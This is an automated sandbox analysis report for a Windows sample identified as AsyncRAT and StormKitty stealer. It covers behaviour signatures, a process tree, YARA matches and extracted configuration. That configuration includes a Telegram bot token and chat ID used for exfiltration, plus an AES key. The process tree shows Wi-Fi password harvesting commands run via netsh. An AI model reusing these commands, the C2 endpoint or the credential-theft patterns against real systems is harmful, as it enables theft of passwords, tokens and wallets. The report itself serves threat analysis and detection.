Edit tour

Windows Analysis Report
3ZCSmfAvnf.exe

Overview

General Information

Sample Name:	3ZCSmfAvnf.exe
Analysis ID:	786965
MD5:	c7fbe52e88456eabb4d4a1a1a0670cf4
SHA1:	3b479f15645c31c7067c31aede6e1802093ac78b
SHA256:	82acc1095843da9a689f138666b41520ccb2bda8be0c8b3cd734adbfa14d6746
Tags:	32exe
Infos:

Detection

AsyncRAT, StormKitty

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Sigma detected: Capture Wi-Fi password

Antivirus detection for URL or domain

Yara detected AsyncRAT

Antivirus detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected Telegram Recon

Malicious sample detected (through community Yara rule)

Yara detected Telegram RAT

Antivirus / Scanner detection for submitted sample

Yara detected StormKitty Stealer

Multi AV Scanner detection for dropped file

Creates multiple autostart registry keys

Uses netsh to modify the Windows network and firewall settings

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Uses the Telegram API (likely for C&C communication)

Machine Learning detection for sample

Modifies existing user documents (likely ransomware behavior)

May check the online IP address of the machine

.NET source code contains potential unpacker

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Connects to a pastebin service (likely for C&C)

Found many strings related to Crypto-Wallets (likely being stolen)

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Tries to harvest and steal browser information (history, passwords, etc)

Contains functionality to log keystrokes (.Net Source)

Tries to harvest and steal WLAN passwords

Yara detected Generic Downloader

.NET source code contains method to dynamically call methods (often used by packers)

Machine Learning detection for dropped file

Drops PE files to the application program directory (C:\ProgramData)

May sleep (evasive loops) to hinder dynamic analysis

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

JA3 SSL client fingerprint seen in connection with other malware

HTTP GET or POST without a user agent

Contains long sleeps (>= 3 min)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops PE files

Creates a process in suspended mode (likely to inject code)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Yara detected Credential Stealer

IP address seen in connection with other malware

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

Queries information about the installed CPU (vendor, model number etc)

Queries the product ID of Windows

AV process strings found (often used to terminate AV products)

Sample file is different than original file name gathered from version info

Creates a window with clipboard capturing capabilities

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

3ZCSmfAvnf.exe (PID: 4560 cmdline: C:\Users\user\Desktop\3ZCSmfAvnf.exe MD5: C7FBE52E88456EABB4D4A1A1A0670CF4)

WindowsDataC.exe (PID: 2444 cmdline: "C:\ProgramData\WindowsDataC.exe" MD5: C7FBE52E88456EABB4D4A1A1A0670CF4)

RunIt.exe (PID: 3100 cmdline: "C:\Users\user\AppData\Local\Temp\RunIt.exe" MD5: D067619856F7F3079375960F62B99369)

wwst.exe (PID: 4816 cmdline: "C:\Users\user\AppData\Local\Temp\wwst.exe" MD5: 5224B9398F4ED7A52B85B432B3D50A04)

cmd.exe (PID: 4192 cmdline: "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 5408 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

chcp.com (PID: 1416 cmdline: chcp 65001 MD5: 561054CF9C4B2897E80D7E7D9027FED9)

netsh.exe (PID: 1524 cmdline: netsh wlan show profile MD5: A0AA3322BB46BBFC36AB9DC1DBBBB807)

findstr.exe (PID: 1972 cmdline: findstr All MD5: 8B534A7FC0630DE41BB1F98C882C19EC)

cmd.exe (PID: 1784 cmdline: "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 2088 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

chcp.com (PID: 6012 cmdline: chcp 65001 MD5: 561054CF9C4B2897E80D7E7D9027FED9)

netsh.exe (PID: 4136 cmdline: netsh wlan show networks mode=bssid MD5: A0AA3322BB46BBFC36AB9DC1DBBBB807)

WindowsDataC.exe (PID: 1604 cmdline: "C:\ProgramData\WindowsDataC.exe" MD5: C7FBE52E88456EABB4D4A1A1A0670CF4)

WindowsDataC.exe (PID: 5964 cmdline: "C:\ProgramData\WindowsDataC.exe" MD5: C7FBE52E88456EABB4D4A1A1A0670CF4)

Rnts.exe (PID: 5424 cmdline: "C:\Users\user\AppData\Local\Temp\Rnts.exe" MD5: D067619856F7F3079375960F62B99369)

Rnts.exe (PID: 1636 cmdline: "C:\Users\user\AppData\Local\Temp\Rnts.exe" MD5: D067619856F7F3079375960F62B99369)

cleanup

Malware Configuration

Threatname: AsyncRAT

{"Server": "127.0.0.1", "Ports": "6606,7707,8808", "Telegram C2": "https://api.telegram.org/bot5980420064:AAHGrlOU2WsgF90Pcyz-L7wrGgC_Cj54k4Q/sendMessage?chat_id=806259874", "Version": "", "AES_key": "VIfxfqryUTyZUBGDCBAvbYVYIsexIM7Z", "Mutex": "AsyncMutex_6SI8OkPnk", "Certificate": "MIIE9jCCAt6gAwIBAgIQAKQXqY8ZdB/modqi69mWGTANBgkqhkiG9w0BAQ0FADAcMRowGAYDVQQDDBFXb3JsZFdpbmQgU3RlYWxlcjAgFw0yMTA3MTMwNDUxMDZaGA85OTk5MTIzMTIzNTk1OVowHDEaMBgGA1UEAwwRV29ybGRXaW5kIFN0ZWFsZXIwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCnRXYoxuLqqgXdcvIAYWb9DuVRl5ZpdpPfoIgmb7Y9A9AuiddKNm4is8EvIlEh98bQD4OBaK0EGWuj7WuAcQPCCGuzHpDqFZbXR7iRqVn6TiLRsO0LCMB4ta4XLQ4JdTFXvnQHcGiUxHddH70T/2P2bBVY0W+PVJDzG3XUWHpYb4PVv7qaQr/DalR3qyyd5otzE1kIjJLCOCyI/9ntIcD/PbMTKVnCP4fzbnkNB+xy0PmQmx3WRWEF5q72TdgaKrCbOpR2C/+rfGIoPC6Ze6dqWO3bQLGt6jpCO8A4CtAaAYmiw1vHUOfP54BgI9ls1TjYO3Rn4R1jmhWBGV2pT5chrglgSxMzPhrxFTQljG78RlPCJmyagJbtnPL3AlV34sQggcbf+80FVeyechm/xrMTSWXrJQ+xek1HRJBDFoCJyUR7SuIUelOW24TU+rwl/2dcALLZXpjYu3/zvJjH4iaJXRCt7oWhfzIFG1bHBFr78kV9VP0H+ZNVb129eUr14F/uubAoIPAz2EHG/CXBZv9GkFuzw0NgsI1eP7AznCLdT+z91M+yB7vWtvclwQ5k6MxWDPOraG5JMjUHvKI6zvyZ4IQ2a7bUENDghxLAqIxgo7zfZMdrjbRxBlqW14oki6Um7GpGKEZ0s2Ip6K2yJHBLpbVxOYjyzrxohMguh+qvgQIDAQABozIwMDAdBgNVHQ4EFgQUmTejTtK6on20N0YJez5sAZdMe/kwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQ0FAAOCAgEAhauA0si7sHBd06DSGJgP5vJxL2daW30wR5XbAJd0HWj3QWfl7w27iyZ5AqBT4B0ojLNuMUG8mUOvpcoq0m80qUX7TIKUULKvb+i7uGGEDxk3W5F3es/CTUUWO0QlseWx9QEYziGlp6f3tkP4PTGSL0DywVRSa8l6f/B5kqwnW17CbQfJZ8vmy5snpDO/avgYssUnQtKQPhos7GbokNHps/bxEIRfLeprzQox20dw4RV59LcorjP5QV7Vc6FuYmhzC0nfRetTHckyxg66O3ekfTVs87MLiDV0ipQ+D/6k3g6DRuTdd4V2khjtI56ujSqTQ2PueNQXPu8y2fdsT2Rd1LcfxMS1xKAhSwhHfyy0I3JwzPG1D+sm3QNJEOoJviSNn5fYOFpY+mSEkFNMMeEbwOFdHxWbkiJk/Z8VwdH5I52tkHU3sRQMuZHtcKUc/SIt5Ivv6gtuEZQdm1GE6KUdiRB95s8JVGNlCcHX5bXbScu4eKCRQn3Cl+m5KR4EzI6hVP/iDRhVKj7Dn/blOHLzhNS5vW4X085dTP+1TBL8CHpQpiA3t8LfqfV1b/+WahOd3jNBNTXXfe/AQSjErgctLMdmOBpUQaJLOlcDcKGxWQdOo102nxg8Y/kFDARccywugoQxuIZpMYq74tjnJlJZ9kqR/LPrjmvx4v+0XFsaCPE=", "ServerSignature": "J7XpD4w+JaFzTixc0nCmiRA4ZP4bPCIpEYYGofNxvC1+0OsFQr56oTWwQMosnOTB64TZRGSdXVHKzjVchQf7X5Uwu/KQU61NPArjxWVScwKZXOGS4ZNzsWbrxgztkmlyRlQgvEq4rdFsqy1bfvHEoQ/s9aDXBNoLPPjJOexTRQSGuZYMpGSUD+ZUiVwPqqFWTb8KcjEMyABMeXGKfia2e9u8ePKpWv4HSiOfl6N47tTtIfN2FW/2mCX7BOnIZwCl3UxaQnITN812tHD1enX9TK86R91F02c0wabnf4oC07S3cqiXYo1yZ5y3dDnnERLagBuX1bemwzX/7DjHkfOaIPLgAAO8vGHbQX3pPqmwC88sG1+FExp3FEKMITnQTqQr5uXa5GjggFUSFr9rt2nfcjEjHRnOzX1jpsUUtuDyqoAFhdosdv46x+o5Iod34II88nouxzyzAfMSa48ozukJ3fCknI6u9fj/it1dx0GimhXUv4YG4A19n3EdvJbaxZXImHZvqiYGsHTIUtxa89QhxCpuJPKdTP7ya5rJFkDT0Z8ijH4Z1Dv42umyEN6PT99JRuJHcXSqkXfOeOilnM6YRY019FHq6udNVWn5OQetK4ULVcQmwPTV26ZRPyrqO57Rjr5LeSauZtNKTE/kmS1iR3eMtq5PsAHunrHZPzzaUhY=", "Group": "Default"}

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot5980420064:AAHGrlOU2WsgF90Pcyz-L7wrGgC_Cj54k4Q/sendMessage"}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\wwst.exe	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
C:\Users\user\AppData\Local\Temp\wwst.exe	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
C:\Users\user\AppData\Local\Temp\wwst.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Users\user\AppData\Local\Temp\wwst.exe	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\wwst.exe	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\wwst.exe	JoeSecurity_TelegramRecon	Yara detected Telegram Recon	Joe Security
C:\Users\user\AppData\Local\Temp\wwst.exe	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x290e2:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
C:\Users\user\AppData\Local\Temp\wwst.exe	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x25663:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
C:\Users\user\AppData\Local\Temp\wwst.exe	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x2773f:$s1: \VPN\NordVPN 0x27725:$s2: \VPN\OpenVPN 0x27707:$s3: \VPN\ProtonVPN
C:\Users\user\AppData\Local\Temp\wwst.exe	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x25e9b:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x25f0d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x25f97:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x26029:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x26093:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x26105:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x2619b:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x2622b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
C:\Users\user\AppData\Local\Temp\wwst.exe	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x11f8c:$x3: StormKitty 0x1b6ca:$s1: GetBSSID 0x1b5ca:$s2: GetAntivirus 0x26b4b:$s5: BCrypt.BCryptGetProperty() (get size) failed with status code:{0} 0x26d7d:$s6: "encrypted_key":"(.*?)"
Click to see the 6 entries

Memory Dumps

Source	Rule	Description	Author	Strings
00000003.00000002.576947702.0000000002A11000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000003.00000002.576947702.0000000002A11000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
00000003.00000002.576947702.0000000002A11000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.576947702.0000000002A11000.00000004.00000800.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x3a240:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
00000000.00000002.580547770.0000000012AC0000.00000004.00000800.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x11fb:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
00000003.00000000.312683100.00000000006D2000.00000002.00000001.01000000.0000000A.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000003.00000000.312683100.00000000006D2000.00000002.00000001.01000000.0000000A.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000003.00000000.312683100.00000000006D2000.00000002.00000001.01000000.0000000A.sdmp	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
00000003.00000000.312683100.00000000006D2000.00000002.00000001.01000000.0000000A.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000000.312683100.00000000006D2000.00000002.00000001.01000000.0000000A.sdmp	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x28ee2:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
00000003.00000000.312683100.00000000006D2000.00000002.00000001.01000000.0000000A.sdmp	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x25463:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
00000001.00000002.573200275.0000000002848000.00000004.00000800.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x23cdc:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
00000004.00000002.579900090.00000000126C2000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000001.00000002.579905238.0000000012978000.00000004.00000800.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0xa23:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
00000000.00000002.573444310.0000000002A01000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.573444310.0000000002A01000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000000.00000002.573444310.0000000002A01000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
00000000.00000002.573444310.0000000002A01000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.573444310.0000000002A01000.00000004.00000800.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x6ad74:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM 0x7d34e:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM 0x822d2:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
00000000.00000002.573444310.0000000002A01000.00000004.00000800.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x92853:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
00000001.00000002.594217728.000000001B4CD000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000001.00000002.594217728.000000001B4CD000.00000004.08000000.00040000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x69a:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
00000004.00000002.573353183.0000000002598000.00000004.00000800.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x23cdc:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
00000000.00000002.580547770.0000000012AC4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000000.00000002.580547770.0000000012AC4000.00000004.00000800.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0xc7a:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
00000001.00000002.579905238.0000000012877000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000001.00000002.579905238.0000000012877000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000001.00000002.579905238.0000000012877000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
00000001.00000002.579905238.0000000012877000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.579905238.0000000012877000.00000004.00000800.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0xb386a:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
00000001.00000002.579905238.0000000012877000.00000004.00000800.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0xafdeb:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
00000001.00000002.594217728.000000001B4C3000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000000.00000002.580547770.0000000012ABA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000005.00000002.579786709.0000000012FDC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000005.00000002.579786709.0000000012FDC000.00000004.00000800.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x4a2:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
00000001.00000002.594217728.000000001B4C8000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000001.00000002.594217728.000000001B4C8000.00000004.08000000.00040000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x1c1b:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
00000005.00000002.573024756.0000000002E61000.00000004.00000800.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x6acdc:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
Process Memory Space: 3ZCSmfAvnf.exe PID: 4560	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: 3ZCSmfAvnf.exe PID: 4560	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
Process Memory Space: 3ZCSmfAvnf.exe PID: 4560	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
Process Memory Space: 3ZCSmfAvnf.exe PID: 4560	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 3ZCSmfAvnf.exe PID: 4560	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x46075:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM 0x465e0:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM 0x46da5:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM 0x9cac7:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
Process Memory Space: 3ZCSmfAvnf.exe PID: 4560	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x1ebf1:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84} 0x560ab:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
Process Memory Space: WindowsDataC.exe PID: 2444	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: WindowsDataC.exe PID: 2444	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
Process Memory Space: WindowsDataC.exe PID: 2444	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
Process Memory Space: WindowsDataC.exe PID: 2444	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: WindowsDataC.exe PID: 2444	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x1915b:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM 0x43bbe:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM 0x47a3f:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
Process Memory Space: WindowsDataC.exe PID: 2444	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x1ed2d:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84} 0x426dc:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84} 0x66f93:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
Process Memory Space: wwst.exe PID: 4816	webshell_php_encoded_big	PHP webshell using some kind of eval with encoded blob to decode	Arnim Rupp	0x871:$new_php1: <?=8 0x22c9c:$cpayload5: System (D 0x2b471:$cpayload5: System (D 0x78bf8:$cpayload5: System (D 0x978aa:$cpayload5: System (D
Process Memory Space: wwst.exe PID: 4816	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: wwst.exe PID: 4816	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
Process Memory Space: wwst.exe PID: 4816	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
Process Memory Space: wwst.exe PID: 4816	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: wwst.exe PID: 4816	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x6dda1:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
Process Memory Space: wwst.exe PID: 4816	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x10bbc:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84} 0x6c8bf:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
Process Memory Space: WindowsDataC.exe PID: 1604	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
Process Memory Space: WindowsDataC.exe PID: 1604	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x39d23:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
Process Memory Space: WindowsDataC.exe PID: 5964	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
Process Memory Space: WindowsDataC.exe PID: 5964	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x2c78b:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM 0x317b4:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
Click to see the 56 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
4.2.WindowsDataC.exe.1af745b8.6.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x2593f:$s1: \VPN\NordVPN 0x25925:$s2: \VPN\OpenVPN 0x25907:$s3: \VPN\ProtonVPN
5.2.WindowsDataC.exe.12fb33c0.2.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
5.2.WindowsDataC.exe.12fb33c0.2.unpack	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x272e2:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
5.2.WindowsDataC.exe.12ed75e0.4.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x49ef7:$s1: \VPN\NordVPN 0x49edd:$s2: \VPN\OpenVPN 0x49ebf:$s3: \VPN\ProtonVPN
0.2.3ZCSmfAvnf.exe.12a775e0.1.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
0.2.3ZCSmfAvnf.exe.12a775e0.1.unpack	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
0.2.3ZCSmfAvnf.exe.12a775e0.1.unpack	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x4b89a:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
0.2.3ZCSmfAvnf.exe.12a775e0.1.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x47e1b:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
0.2.3ZCSmfAvnf.exe.12a775e0.1.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x48653:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x486c5:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x4874f:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x487e1:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x4884b:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x488bd:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x48953:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x489e3:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
